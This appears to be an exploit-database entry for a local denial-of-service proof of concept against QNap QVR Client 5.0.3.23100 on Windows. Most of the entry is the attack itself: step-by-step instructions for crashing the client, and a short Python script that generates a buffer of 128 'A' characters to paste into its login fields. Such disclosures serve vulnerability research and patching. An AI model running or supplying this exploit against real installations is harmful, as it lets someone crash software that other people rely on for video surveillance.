Qnap qvr client 5.0.3.23100 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-08-07 | Type : dos | Platform : windows_x86-64

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# Exploit Title : QNap QVR Client 5.0.3.23100 - Denial of Service (PoC)
# Discovery by : Rodrigo Eduardo Rodriguez
# Discovery Date : 2018-08-06
# Vendor Homepage: http://www.qnapsecurity.com/n/en/
# Software Link : http://download.qnap.com/Surveillance/Utility/QNewMon5.zip
# Tested Version : 5.0.3.23100
# Vulnerability Type : Denial of Service (DoS) Local
# Tested on OS : Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code : python generatepaste.py
# 2.- Open generate.txt and copy content to clipboard
# 3.- Open QVR Client
# 4.- Direccion IP/Puerto -> 0.0.0.0 / 80
# 5.- Paste ClipBoard on "Nombre de Usuario" and "contraseña"
# 6.- Aceptar
# 7.- Crashed

#!/usr/bin/env python
# -*- coding: utf-8 -*-
buffer = "\x41" * 128
f = open ("generate.txt", "w")
f.write(buffer)
f.close()